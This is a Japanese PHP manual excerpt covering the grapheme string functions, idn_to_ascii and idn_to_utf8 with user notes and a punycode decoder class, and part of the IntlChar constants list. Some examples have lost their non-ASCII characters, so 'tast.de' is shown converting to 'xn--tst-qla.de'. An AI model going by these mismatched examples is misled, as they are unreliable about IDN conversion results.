grapheme_stristr — 大文字小文字を区別せず、haystack 文字列の中で needle が最初に登場した場所以降の部分文字列を返す

説明

手続き型

grapheme_stristr ( string $haystack , string $needle , bool $beforeNeedle = false ) : string|false

大文字小文字を区別せず、haystack 文字列の中で needle が最初に登場した場所を含めてそれ以降の部分文字列を返します。

パラメータ

haystack

入力文字列。正しい形式の UTF-8 でなければなりません。

needle

探したい文字列。正しい形式の UTF-8 でなければなりません。

beforeNeedle

true の場合、grapheme_strstr() は needle が最初に登場した場所より前の部分文字列を返します (needle は含めません)。

返り値

$haystack の部分文字列、あるいは $needle が見つからなかった場合に false を返します。

例

例1 grapheme_stristr() の例

<?php

$char_a_ring_nfd = "a\xCC\x8A";  // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"
$char_O_diaeresis_nfd = "O\xCC\x88"; // 'LATIN CAPITAL LETTER O WITH DIAERESIS' (U+00D6) normalization form "D"

print urlencode(grapheme_stristr( $char_a_ring_nfd . $char_o_diaeresis_nfd . $char_a_ring_nfd, $char_O_diaeresis_nfd));

?>

上の例の出力は以下となります。

o%CC%88a%CC%8A

参考

  • grapheme_stripos() - 大文字小文字を区別せず、文字列内で最初にあらわれる場所の (書記素単位の) 位置を見つける
  • grapheme_strpos() - 文字列内で最初にあらわれる場所の (書記素単位の) 位置を見つける
  • grapheme_strripos() - 大文字小文字を区別せず、文字列内で最後にあらわれる場所の (書記素単位の) 位置を見つける
  • grapheme_strrpos() - 文字列内で最後にあらわれる場所の (書記素単位の) 位置を見つける
  • grapheme_strstr() - haystack 文字列の中で、needle が最初に登場した場所以降の部分文字列を返す
  • » Unicode Text Segmentation: Grapheme Cluster Boundaries

User Contributed Notes

There are no user contributed notes for this page.


書記素単位で文字列の長さを取得する

  • ≪ grapheme_stristr
  • grapheme_strpos ≫
  • PHP Manual
  • Grapheme 関数
  • 書記素単位で文字列の長さを取得する

grapheme_strlen

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

grapheme_strlen — 書記素単位で文字列の長さを取得する

説明

手続き型

grapheme_strlen ( string $string ) : int|false|null

書記素単位 (バイト数や文字数ではありません) で文字列の長さを取得します。

パラメータ

string

長さを調べたい文字列。正しい形式の UTF-8 でなければなりません。

返り値

成功した場合に文字列の長さを返します。 失敗した場合に false を返します

例

例1 grapheme_strlen() の例

<?php

$char_a_ring_nfd = "a\xCC\x8A";  // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"

print grapheme_strlen( 'abc' . $char_a_ring_nfd . $char_o_diaeresis_nfd . $char_a_ring_nfd);

?>

上の例の出力は以下となります。

6

参考

  • » Unicode Text Segmentation: Grapheme Cluster Boundaries
  • iconv_strlen() - 文字列の文字数を返す
  • mb_strlen() - 文字列の長さを得る
  • strlen() - 文字列の長さを得る

User Contributed Notes

There are no user contributed notes for this page.


文字列内で最初にあらわれる場所の (書記素単位の) 位置を見つける

  • ≪ grapheme_strlen
  • grapheme_strripos ≫
  • PHP Manual
  • Grapheme 関数
  • 文字列内で最初にあらわれる場所の (書記素単位の) 位置を見つける

grapheme_strpos

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

grapheme_strpos — 文字列内で最初にあらわれる場所の (書記素単位の) 位置を見つける

説明

手続き型

grapheme_strpos ( string $haystack , string $needle , int $offset = 0 ) : int|false

文字列内で最初にあらわれる場所の (書記素単位の) 位置を見つけます。

パラメータ

haystack

探す対象となる文字列。正しい形式の UTF-8 でなければなりません。

needle

探したい文字列。正しい形式の UTF-8 でなければなりません。

offset

オプションの $offset パラメータで、$haystack のどの位置 (バイト数や文字数ではなく、書記素単位) から探し始めるのかを指定します。 負のオフセットは、文字列の末尾からのオフセットと解釈されます。 $offset の値にかかわらず、返される値は常に haystack の先頭からの位置になります。

返り値

位置を表す整数値を返します。needle が見つからない場合は grapheme_strpos() は false を返します。

変更履歴

バージョン | 説明
7.1.0 | 負の offset をサポートするようになりました。

例

例1 grapheme_strpos() example

<?php

$char_a_ring_nfd = "a\xCC\x8A";  // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"

print grapheme_strpos( $char_a_ring_nfd . $char_a_ring_nfd . $char_o_diaeresis_nfd, $char_o_diaeresis_nfd);

?>

上の例の出力は以下となります。

2

参考

  • grapheme_stripos() - 大文字小文字を区別せず、文字列内で最初にあらわれる場所の (書記素単位の) 位置を見つける
  • grapheme_stristr() - 大文字小文字を区別せず、haystack 文字列の中で needle が最初に登場した場所以降の部分文字列を返す
  • grapheme_strripos() - 大文字小文字を区別せず、文字列内で最後にあらわれる場所の (書記素単位の) 位置を見つける
  • grapheme_strrpos() - 文字列内で最後にあらわれる場所の (書記素単位の) 位置を見つける
  • grapheme_strstr() - haystack 文字列の中で、needle が最初に登場した場所以降の部分文字列を返す
  • » Unicode Text Segmentation: Grapheme Cluster Boundaries

User Contributed Notes

There are no user contributed notes for this page.


大文字小文字を区別せず、文字列内で最後にあらわれる場所の (書記素単位の) 位置を見つける

  • ≪ grapheme_strpos
  • grapheme_strrpos ≫
  • PHP Manual
  • Grapheme 関数
  • 大文字小文字を区別せず、文字列内で最後にあらわれる場所の (書記素単位の) 位置を見つける

grapheme_strripos

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

grapheme_strripos — 大文字小文字を区別せず、文字列内で最後にあらわれる場所の (書記素単位の) 位置を見つける

説明

手続き型

grapheme_strripos ( string $haystack , string $needle , int $offset = 0 ) : int|false

大文字小文字を区別せず、文字列内で最後にあらわれる場所の (書記素単位の) 位置を見つけます。

パラメータ

haystack

探す対象となる文字列。正しい形式の UTF-8 でなければなりません。

needle

探したい文字列。正しい形式の UTF-8 でなければなりません。

offset

オプションの $offset パラメータで、$haystack のどの位置 (バイト数や文字数ではなく、書記素単位) から探し始めるのかを指定します。 $offset の値にかかわらず、返される値は常に haystack の先頭からの位置になります。

返り値

位置を表す整数値を返します。needle が見つからない場合は grapheme_strripos() は false を返します。

例

例1 grapheme_strripos() の例

<?php

$char_a_ring_nfd = "a\xCC\x8A";  // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"
$char_O_diaeresis_nfd = "O\xCC\x88"; // 'LATIN CAPITAL LETTER O WITH DIAERESIS' (U+00D6) normalization form "D"

print grapheme_strripos( $char_a_ring_nfd . $char_o_diaeresis_nfd . $char_o_diaeresis_nfd, $char_O_diaeresis_nfd);

?>

上の例の出力は以下となります。

2

参考

  • grapheme_stripos() - 大文字小文字を区別せず、文字列内で最初にあらわれる場所の (書記素単位の) 位置を見つける
  • grapheme_stristr() - 大文字小文字を区別せず、haystack 文字列の中で needle が最初に登場した場所以降の部分文字列を返す
  • grapheme_strpos() - 文字列内で最初にあらわれる場所の (書記素単位の) 位置を見つける
  • grapheme_strrpos() - 文字列内で最後にあらわれる場所の (書記素単位の) 位置を見つける
  • grapheme_strstr() - haystack 文字列の中で、needle が最初に登場した場所以降の部分文字列を返す
  • » Unicode Text Segmentation: Grapheme Cluster Boundaries

User Contributed Notes

There are no user contributed notes for this page.


文字列内で最後にあらわれる場所の (書記素単位の) 位置を見つける

  • ≪ grapheme_strripos
  • grapheme_strstr ≫
  • PHP Manual
  • Grapheme 関数
  • 文字列内で最後にあらわれる場所の (書記素単位の) 位置を見つける

grapheme_strrpos

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

grapheme_strrpos — 文字列内で最後にあらわれる場所の (書記素単位の) 位置を見つける

説明

手続き型

grapheme_strrpos ( string $haystack , string $needle , int $offset = 0 ) : int|false

文字列内で最後にあらわれる場所の (書記素単位の) 位置を見つけます。

パラメータ

haystack

探す対象となる文字列。正しい形式の UTF-8 でなければなりません。

needle

探したい文字列。正しい形式の UTF-8 でなければなりません。

offset

オプションの $offset パラメータで、$haystack のどの位置 (バイト数や文字数ではなく、書記素単位) から探し始めるのかを指定します。 $offset の値にかかわらず、返される値は常に haystack の先頭からの位置になります。

返り値

位置を表す整数値を返します。needle が見つからない場合は grapheme_strrpos() は false を返します。

例

例1 grapheme_strrpos() example

<?php
$char_a_ring_nfd = "a\xCC\x8A";  // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"

print grapheme_strrpos( $char_a_ring_nfd . $char_o_diaeresis_nfd . $char_o_diaeresis_nfd, $char_o_diaeresis_nfd);
?>

上の例の出力は以下となります。

2

参考

  • grapheme_stripos() - 大文字小文字を区別せず、文字列内で最初にあらわれる場所の (書記素単位の) 位置を見つける
  • grapheme_stristr() - 大文字小文字を区別せず、haystack 文字列の中で needle が最初に登場した場所以降の部分文字列を返す
  • grapheme_strpos() - 文字列内で最初にあらわれる場所の (書記素単位の) 位置を見つける
  • grapheme_strripos() - 大文字小文字を区別せず、文字列内で最後にあらわれる場所の (書記素単位の) 位置を見つける
  • grapheme_strstr() - haystack 文字列の中で、needle が最初に登場した場所以降の部分文字列を返す
  • » Unicode Text Segmentation: Grapheme Cluster Boundaries

User Contributed Notes

There are no user contributed notes for this page.


haystack 文字列の中で、needle が最初に登場した場所以降の部分文字列を返す

  • ≪ grapheme_strrpos
  • grapheme_substr ≫
  • PHP Manual
  • Grapheme 関数
  • haystack 文字列の中で、needle が最初に登場した場所以降の部分文字列を返す

grapheme_strstr

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

grapheme_strstr — haystack 文字列の中で、needle が最初に登場した場所以降の部分文字列を返す

説明

手続き型

grapheme_strstr ( string $haystack , string $needle , bool $beforeNeedle = false ) : string|false

haystack 文字列の中で needle が最初に登場した場所を含めてそれ以降の部分文字列を返します。

パラメータ

haystack

入力文字列。正しい形式の UTF-8 でなければなりません。

needle

探したい文字列。正しい形式の UTF-8 でなければなりません。

beforeNeedle

true の場合、grapheme_strstr() は needle が最初に登場した場所より前の部分文字列を返します (needle は含めません)。

返り値

部分文字列、あるいは needle が見つからなかった場合に false を返します。

例

例1 grapheme_strstr() の例

<?php

$char_a_ring_nfd = "a\xCC\x8A";  // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"

print urlencode(grapheme_stristr( $char_a_ring_nfd . $char_o_diaeresis_nfd . $char_a_ring_nfd, $char_o_diaeresis_nfd));

?>

上の例の出力は以下となります。

o%CC%88a%CC%8A

参考

  • grapheme_stristr() - 大文字小文字を区別せず、haystack 文字列の中で needle が最初に登場した場所以降の部分文字列を返す
  • grapheme_stripos() - 大文字小文字を区別せず、文字列内で最初にあらわれる場所の (書記素単位の) 位置を見つける
  • grapheme_strpos() - 文字列内で最初にあらわれる場所の (書記素単位の) 位置を見つける
  • grapheme_strripos() - 大文字小文字を区別せず、文字列内で最後にあらわれる場所の (書記素単位の) 位置を見つける
  • grapheme_strrpos() - 文字列内で最後にあらわれる場所の (書記素単位の) 位置を見つける
  • » Unicode Text Segmentation: Grapheme Cluster Boundaries

User Contributed Notes

There are no user contributed notes for this page.


部分文字列を返す

  • ≪ grapheme_strstr
  • IDN 関数 ≫
  • PHP Manual
  • Grapheme 関数
  • 部分文字列を返す

grapheme_substr

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

grapheme_substr — 部分文字列を返す

説明

手続き型

grapheme_substr ( string $string , int $offset , int|null $length = null ) : string|false

部分文字列を返します。

パラメータ

string

入力文字列。正しい形式の UTF-8 でなければなりません。

offset

デフォルトの書記素単位での開始位置。 $start がゼロ以上である場合は、$string の $start 番目の位置から始まる文字列を返します。位置はゼロから数え始めます。 $start が負の場合は、文字列の末尾から数えて $start 番目 (書記素単位) の位置以降の文字列を返します。

length

長さを書記素単位で指定します。 $length が正の値の場合は、$start から数えて最大 $length 文字までの文字列を返します (文字列全体の長さによって変わります)。 $length が負の値の場合は、文字列の末尾から多くの書記素が削除されます (start が負の場合にはまず開始位置を算出してから行います)。 $start がこの削除された場所以降になる場合は、false を返します。

返り値

string の部分文字列を返します。 失敗した場合に false を返します

例

例1 grapheme_substr() の例

<?php

$char_a_ring_nfd = "a\xCC\x8A";  // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"

print urlencode(grapheme_substr( "ao" . $char_a_ring_nfd . "bc" . $char_o_diaeresis_nfd . "O", 2, -1 ));
?>

上の例の出力は以下となります。

a%CC%8Abco%CC%88

参考

  • grapheme_extract() - デフォルトの書記素クラスタシーケンスをテキストバッファから取り出す関数。 テキストは UTF-8 でエンコードされている必要があります
  • » Unicode Text Segmentation: Grapheme Cluster Boundaries

User Contributed Notes

There are no user contributed notes for this page.


IDN 関数

目次

  • idn_to_ascii — ドメイン名をIDNAのASCII形式に変換する
  • idn_to_utf8 — IDNAのASCII方式でエンコードされたドメイン名をUnicodeに変換する

User Contributed Notes

dklabbers at hostingxs dot nl 23-Apr-2015 07:29
In addition to the previous comment, php5-idn has merged into the php5-intl package. Use apt-get install php5-intl on ubuntu to use these idn features.
stepanov dot inbox at gmail dot com 05-Jul-2013 09:29
Keep in mind that a php module is required to use these functions (which may not be present on your shared hosting).

php5-idn - PHP API for the IDNA library (e.g. in Debian/Ubuntu)


ドメイン名をIDNAのASCII形式に変換する

  • ≪ IDN 関数
  • idn_to_utf8 ≫
  • PHP Manual
  • IDN 関数
  • ドメイン名をIDNAのASCII形式に変換する

idn_to_ascii

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.2, PECL idn >= 0.1)

idn_to_ascii — ドメイン名をIDNAのASCII形式に変換する

説明

手続き型

idn_to_ascii ( string $domain , int $flags = IDNA_DEFAULT , int $variant = INTL_IDNA_VARIANT_UTS46 , array &$idna_info = null ) : string|false

Unicode のドメイン名を、IDNAが定めたASCII形式に変換します。

パラメータ

domain

変換するドメイン名。UTF-8 にエンコードされている必要があります。

flags

変換オプション - IDNA_ ではじまる定数 (IDNA_ERROR_* 定数を除く) の組み合わせです。

variant

IDNA 2003 の場合は INTL_IDNA_VARIANT_2003 (PHP 7.2.0 以降は非推奨)、あるいは UTS #46 の場合は INTL_IDNA_VARIANT_UTS46 (ICU 4.6 以降のみ利用可能)。

idna_info

このパラメータを使うのは、variant が INTL_IDNA_VARIANT_UTS46 の場合だけです。 このとき、このパラメータには 'result'、 'isTransitionalDifferent'、そして 'errors' の三つのキーを含む配列が入ります。 'result' にはおそらく不正だと考えられる変換結果、 'isTransitionalDifferent' には UTS #46 の非移行的な機能を使って結果を変更したかどうかをあらわす boolean 値、そして 'errors' はエラー定数 IDNA_ERROR_* のビットセットを表します。

返り値

IDNA のASCII形式でエンコードされたドメイン名。失敗した場合に false を返します

変更履歴

バージョン | 説明
7.4.0 | variant のデフォルト値が INTL_IDNA_VARIANT_UTS46 となり、 その代わりに INTL_IDNA_VARIANT_2003 は非推奨となりました。
7.2.0 | INTL_IDNA_VARIANT_2003 は非推奨です。代わりに INTL_IDNA_VARIANT_UTS46 を使用してください。

例

例1 idn_to_ascii() の例

<?php

echo idn_to_ascii('tast.de');

?>

上の例の出力は以下となります。

xn--tst-qla.de

参考

  • idn_to_utf8() - IDNAのASCII方式でエンコードされたドメイン名をUnicodeに変換する

User Contributed Notes

waxblur at gmx dot at 02-Dec-2020 09:16
In Windows, the path to the PHP folder must still be present in the PATH environment variable, becouse the necessary DLLs (icudt65.dll, icuin65.dll etc.) are available in this folder.
mschrieck at gmail dot com 31-Mar-2017 01:03
To convert IDN Domains with the IDNA2008 definition use following command.

idn_to_ascii('test.com',IDNA_NONTRANSITIONAL_TO_ASCII,INTL_IDNA_VARIANT_UTS46)

The result is then as expected

xn--tet-6ka.com
edible dot email at gmail dot com 03-Jun-2012 05:08
The notes on this function are not very clear and a little misleading.

Firstly, <=5.3, you will need to make use of one of several scripts or classes available on the internet which might, or might not, require the installation of of the intl and idn PECL extensions ...and you will need to have !<4.0 in order to be able to install both.

Secondly, if you have >=5.4 you will not require the PECL extensions.

Third, use of utf8_encode() is not necessary.  In fact, it will potentially prevent idn_to_ascii() from working at all.

On my setup it was necessary to change the charset in the script meta tags to UTF-8:

<meta http-equiv="Content-Type" content="text/html; CHARSET=shift-jis" />

...and to change charset_default in the php.ini file (/usr/local/lib/php.ini, whereis php.ini, find / -name php.ini):

default_charset = "UTF-8"

The above changes mean that idn_to_ascii() can now be used with that syntax (no need for utf8_encode()).  Previously, the function worked to convert some IDNs, but failed to convert Japanese and Cyrillic IDNs.  Further, no additional locales were enabled or added, and Apache's charset file was left unmodified.

It is also important to remember only to apply the function where required, eg:

idn_to_ascii(casino.com) // is wrong

...whereas...

iden_to_ascii(casino) // is right

...and also be aware of text editors that don't support UTF-8 encoding, or the $domain = 'casino' value will end up as $domain = '??????' ...and the function will fail.

I have found that Notepad++ easily and reliably handles UTF-8 encoding that works for this function using UTF-8 as the encoding option, not UTF-8 without BOM.


IDNAのASCII方式でエンコードされたドメイン名をUnicodeに変換する

  • ≪ idn_to_ascii
  • IntlChar ≫
  • PHP Manual
  • IDN 関数
  • IDNAのASCII方式でエンコードされたドメイン名をUnicodeに変換する

idn_to_utf8

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.2, PECL idn >= 0.1)

idn_to_utf8 — IDNAのASCII方式でエンコードされたドメイン名をUnicodeに変換する

説明

手続き型

idn_to_utf8 ( string $domain , int $flags = 0 , int $variant = INTL_IDNA_VARIANT_UTS46 , array &$idna_info = null ) : string|false

IDNAのASCII方式でエンコードされたドメイン名をUTF-8でエンコードされたUnicodeに変換します。

パラメータ

domain

IDNAのASCII方式でエンコードされた、変換対象のドメイン名

flags

変換オプション - IDNA_ ではじまる定数 (IDNA_ERROR_* 定数を除く) の組み合わせです

variant

IDNA 2003 の場合は INTL_IDNA_VARIANT_2003 (PHP 7.2.0 以降は非推奨)、あるいは UTS #46 の場合は INTL_IDNA_VARIANT_UTS46 (ICU 4.6 以降のみ利用可能)。

idna_info

このパラメータを使うのは、variant が INTL_IDNA_VARIANT_UTS46 の場合だけです。 このとき、このパラメータには 'result'、 'isTransitionalDifferent'、そして 'errors' の三つのキーを含む配列が入ります。 'result' にはおそらく不正だと考えられる変換結果、 'isTransitionalDifferent' には UTS #46 の非移行的な機能を使って結果を変更したかどうかをあらわす boolean 値、そして 'errors' はエラー定数 IDNA_ERROR_* のビットセットを表します。

返り値

Unicodeのドメイン名。UTF-8 にエンコードされています。失敗した場合に false を返します

変更履歴

バージョン | 説明
7.4.0 | variant のデフォルト値が INTL_IDNA_VARIANT_UTS46 となり、 その代わりに INTL_IDNA_VARIANT_2003 は非推奨となりました。
7.2.0 | INTL_IDNA_VARIANT_2003 は非推奨です。代わりに INTL_IDNA_VARIANT_UTS46 を使用してください。

例

例1 idn_to_utf8() の例

<?php

echo idn_to_utf8('xn--tst-qla.de');

?>

上の例の出力は以下となります。

tast.de

参考

  • idn_to_ascii() - ドメイン名をIDNAのASCII形式に変換する

User Contributed Notes

kushik.com 02-May-2013 01:36
<?php
// for those who has PHP older than version 5.3
class IDN {
    // adapt bias for punycode algorithm
    private static function punyAdapt(
        $delta,
        $numpoints,
        $firsttime
    ) {
        $delta = $firsttime ? $delta / 700 : $delta / 2;
        $delta += $delta / $numpoints;
        for ($k = 0; $delta > 455; $k += 36)
            $delta = intval($delta / 35);
        return $k + (36 * $delta) / ($delta + 38);
    }

    // translate character to punycode number
    private static function decodeDigit($cp) {
        $cp = strtolower($cp);
        if ($cp >= 'a' && $cp <= 'z')
            return ord($cp) - ord('a');
        elseif ($cp >= '0' && $cp <= '9')
            return ord($cp) - ord('0')+26;
    }

    // make utf8 string from unicode codepoint number
    private static function utf8($cp) {
        if ($cp < 128) return chr($cp);
        if ($cp < 2048)
            return chr(192+($cp >> 6)).chr(128+($cp & 63));
        if ($cp < 65536) return
            chr(224+($cp >> 12)).
            chr(128+(($cp >> 6) & 63)).
            chr(128+($cp & 63));
        if ($cp < 2097152) return
            chr(240+($cp >> 18)).
            chr(128+(($cp >> 12) & 63)).
            chr(128+(($cp >> 6) & 63)).
            chr(128+($cp & 63));
        // it should never get here
    }

    // main decoding function
    private static function decodePart($input) {
        if (substr($input,0,4) != "xn--") // prefix check...
            return $input;
        $input = substr($input,4); // discard prefix
        $a = explode("-",$input);
        if (count($a) > 1) {
            $input = str_split(array_pop($a));
            $output = str_split(implode("-",$a));
        } else {
            $output = array();
            $input = str_split($input);
        }
        $n = 128; $i = 0; $bias = 72; // init punycode vars
        while (!empty($input)) {
            $oldi = $i;
            $w = 1;
            for ($k = 36;;$k += 36) {
                $digit = IDN::decodeDigit(array_shift($input));
                $i += $digit * $w;
                if ($k <= $bias) $t = 1;
                elseif ($k >= $bias + 26) $t = 26;
                else $t = $k - $bias;
                if ($digit < $t) break;
                $w *= intval(36 - $t);
            }
            $bias = IDN::punyAdapt(
                $i-$oldi,
                count($output)+1,
                $oldi == 0
            );
            $n += intval($i / (count($output) + 1));
            $i %= count($output) + 1;
            array_splice($output,$i,0,array(IDN::utf8($n)));
            $i++;
        }
        return implode("",$output);
    }

    public static function decodeIDN($name) {
        // split it, parse it and put it back together
        return
            implode(
                ".",
                array_map("IDN::decodePart",explode(".",$name))
            );
    }

}
echo IDN::decodeIDN($_SERVER['HTTP_HOST']);
?>


IntlChar

(PHP 7)

はじめに

IntlChar provides access to a number of utility methods that can be used to access information about Unicode characters.

The methods and constants adhere closely to the names and behavior used by the underlying ICU library.

クラス概要

IntlChar {
/* Constants */
const string UNICODE_VERSION = 6.3 ;
const int CODEPOINT_MIN = 0 ;
const int CODEPOINT_MAX = 1114111 ;
const float NO_NUMERIC_VALUE = -123456789 ;
const int PROPERTY_ALPHABETIC = 0 ;
const int PROPERTY_BINARY_START = 0 ;
const int PROPERTY_ASCII_HEX_DIGIT = 1 ;
const int PROPERTY_BIDI_CONTROL = 2 ;
const int PROPERTY_BIDI_MIRRORED = 3 ;
const int PROPERTY_DASH = 4 ;
const int PROPERTY_DEFAULT_IGNORABLE_CODE_POINT = 5 ;
const int PROPERTY_DEPRECATED = 6 ;
const int PROPERTY_DIACRITIC = 7 ;
const int PROPERTY_EXTENDER = 8 ;
const int PROPERTY_FULL_COMPOSITION_EXCLUSION = 9 ;
const int PROPERTY_GRAPHEME_BASE = 10 ;
const int PROPERTY_GRAPHEME_EXTEND = 11 ;
const int PROPERTY_GRAPHEME_LINK = 12 ;
const int PROPERTY_HEX_DIGIT = 13 ;
const int PROPERTY_HYPHEN = 14 ;
const int PROPERTY_ID_CONTINUE = 15 ;
const int PROPERTY_ID_START = 16 ;
const int PROPERTY_IDEOGRAPHIC = 17 ;
const int PROPERTY_IDS_BINARY_OPERATOR = 18 ;
const int PROPERTY_IDS_TRINARY_OPERATOR = 19 ;
const int PROPERTY_JOIN_CONTROL = 20 ;
const int PROPERTY_LOGICAL_ORDER_EXCEPTION = 21 ;
const int PROPERTY_LOWERCASE = 22 ;
const int PROPERTY_MATH = 23 ;
const int PROPERTY_NONCHARACTER_CODE_POINT = 24 ;
const int PROPERTY_QUOTATION_MARK = 25 ;
const int PROPERTY_RADICAL = 26 ;
const int PROPERTY_SOFT_DOTTED = 27 ;
const int PROPERTY_TERMINAL_PUNCTUATION = 28 ;
const int PROPERTY_UNIFIED_IDEOGRAPH = 29 ;
const int PROPERTY_UPPERCASE = 30 ;
const int PROPERTY_WHITE_SPACE = 31 ;
const int PROPERTY_XID_CONTINUE = 32 ;
const int PROPERTY_XID_START = 33 ;
const int PROPERTY_CASE_SENSITIVE = 34 ;
const int PROPERTY_S_TERM = 35 ;
const int PROPERTY_VARIATION_SELECTOR = 36 ;
const int PROPERTY_NFD_INERT = 37 ;
const int PROPERTY_NFKD_INERT = 38 ;
const int PROPERTY_NFC_INERT = 39 ;
const int PROPERTY_NFKC_INERT = 40 ;
const int PROPERTY_SEGMENT_STARTER = 41 ;
const int PROPERTY_PATTERN_SYNTAX = 42 ;
const int PROPERTY_PATTERN_WHITE_SPACE = 43 ;
const int PROPERTY_POSIX_ALNUM = 44 ;
const int PROPERTY_POSIX_BLANK = 45 ;
const int PROPERTY_POSIX_GRAPH = 46 ;
const int PROPERTY_POSIX_PRINT = 47 ;
const int PROPERTY_POSIX_XDIGIT = 48 ;
const int PROPERTY_CASED = 49 ;
const int PROPERTY_CASE_IGNORABLE = 50 ;
const int PROPERTY_CHANGES_WHEN_LOWERCASED = 51 ;
const int PROPERTY_CHANGES_WHEN_UPPERCASED = 52 ;
const int PROPERTY_CHANGES_WHEN_TITLECASED = 53 ;
const int PROPERTY_CHANGES_WHEN_CASEFOLDED = 54 ;
const int PROPERTY_CHANGES_WHEN_CASEMAPPED = 55 ;
const int PROPERTY_CHANGES_WHEN_NFKC_CASEFOLDED = 56 ;
const int PROPERTY_BINARY_LIMIT = 57 ;
const int PROPERTY_BIDI_CLASS = 4096 ;
const int PROPERTY_INT_START = 4096 ;
const int PROPERTY_BLOCK = 4097 ;
const int PROPERTY_CANONICAL_COMBINING_CLASS = 4098 ;
const int PROPERTY_DECOMPOSITION_TYPE = 4099 ;
const int PROPERTY_EAST_ASIAN_WIDTH = 4100 ;
const int PROPERTY_GENERAL_CATEGORY = 4101 ;
const int PROPERTY_JOINING_GROUP = 4102 ;
const int PROPERTY_JOINING_TYPE = 4103 ;
const int PROPERTY_LINE_BREAK = 4104 ;
const int PROPERTY_NUMERIC_TYPE = 4105 ;
const int PROPERTY_SCRIPT = 4106 ;
const int PROPERTY_HANGUL_SYLLABLE_TYPE = 4107 ;
const int PROPERTY_NFD_QUICK_CHECK = 4108 ;
const int PROPERTY_NFKD_QUICK_CHECK = 4109 ;
const int PROPERTY_NFC_QUICK_CHECK = 4110 ;
const int PROPERTY_NFKC_QUICK_CHECK = 4111 ;
const int PROPERTY_LEAD_CANONICAL_COMBINING_CLASS = 4112 ;
const int PROPERTY_TRAIL_CANONICAL_COMBINING_CLASS = 4113 ;
const int PROPERTY_GRAPHEME_CLUSTER_BREAK = 4114 ;
const int PROPERTY_SENTENCE_BREAK = 4115 ;
const int PROPERTY_WORD_BREAK = 4116 ;
const int PROPERTY_BIDI_PAIRED_BRACKET_TYPE = 4117 ;
const int PROPERTY_INT_LIMIT = 4118 ;
const int PROPERTY_GENERAL_CATEGORY_MASK = 8192 ;
const int PROPERTY_MASK_START = 8192 ;
const int PROPERTY_MASK_LIMIT = 8193 ;
const int PROPERTY_NUMERIC_VALUE = 12288 ;
const int PROPERTY_DOUBLE_START = 12288 ;
const int PROPERTY_DOUBLE_LIMIT = 12289 ;
const int PROPERTY_AGE = 16384 ;
const int PROPERTY_STRING_START = 16384 ;
const int PROPERTY_BIDI_MIRRORING_GLYPH = 16385 ;
const int PROPERTY_CASE_FOLDING = 16386 ;
const int PROPERTY_ISO_COMMENT = 16387 ;
const int PROPERTY_LOWERCASE_MAPPING = 16388 ;
const int PROPERTY_NAME = 16389 ;
const int PROPERTY_SIMPLE_CASE_FOLDING = 16390 ;
const int PROPERTY_SIMPLE_LOWERCASE_MAPPING = 16391 ;
const int PROPERTY_SIMPLE_TITLECASE_MAPPING = 16392 ;
const int PROPERTY_SIMPLE_UPPERCASE_MAPPING = 16393 ;
const int PROPERTY_TITLECASE_MAPPING = 16394 ;
const int PROPERTY_UNICODE_1_NAME = 16395 ;
const int PROPERTY_UPPERCASE_MAPPING = 16396 ;
const int PROPERTY_BIDI_PAIRED_BRACKET = 16397 ;
const int PROPERTY_STRING_LIMIT = 16398 ;
const int PROPERTY_SCRIPT_EXTENSIONS = 28672 ;
const int PROPERTY_OTHER_PROPERTY_START = 28672 ;
const int PROPERTY_OTHER_PROPERTY_LIMIT = 28673 ;
const int PROPERTY_INVALID_CODE = -1 ;
const int CHAR_CATEGORY_UNASSIGNED = 0 ;
const int CHAR_CATEGORY_GENERAL_OTHER_TYPES = 0 ;
const int CHAR_CATEGORY_UPPERCASE_LETTER = 1 ;
const int CHAR_CATEGORY_LOWERCASE_LETTER = 2 ;
const int CHAR_CATEGORY_TITLECASE_LETTER = 3 ;
const int CHAR_CATEGORY_MODIFIER_LETTER = 4 ;
const int CHAR_CATEGORY_OTHER_LETTER = 5 ;
const int CHAR_CATEGORY_NON_SPACING_MARK = 6 ;
const int CHAR_CATEGORY_ENCLOSING_MARK = 7 ;
const int CHAR_CATEGORY_COMBINING_SPACING_MARK = 8 ;
const int CHAR_CATEGORY_DECIMAL_DIGIT_NUMBER = 9 ;
const int CHAR_CATEGORY_LETTER_NUMBER = 10 ;
const int CHAR_CATEGORY_OTHER_NUMBER = 11 ;
const int CHAR_CATEGORY_SPACE_SEPARATOR = 12 ;
const int CHAR_CATEGORY_LINE_SEPARATOR = 13 ;
const int CHAR_CATEGORY_PARAGRAPH_SEPARATOR = 14 ;
const int CHAR_CATEGORY_CONTROL_CHAR = 15 ;
const int CHAR_CATEGORY_FORMAT_CHAR = 16 ;
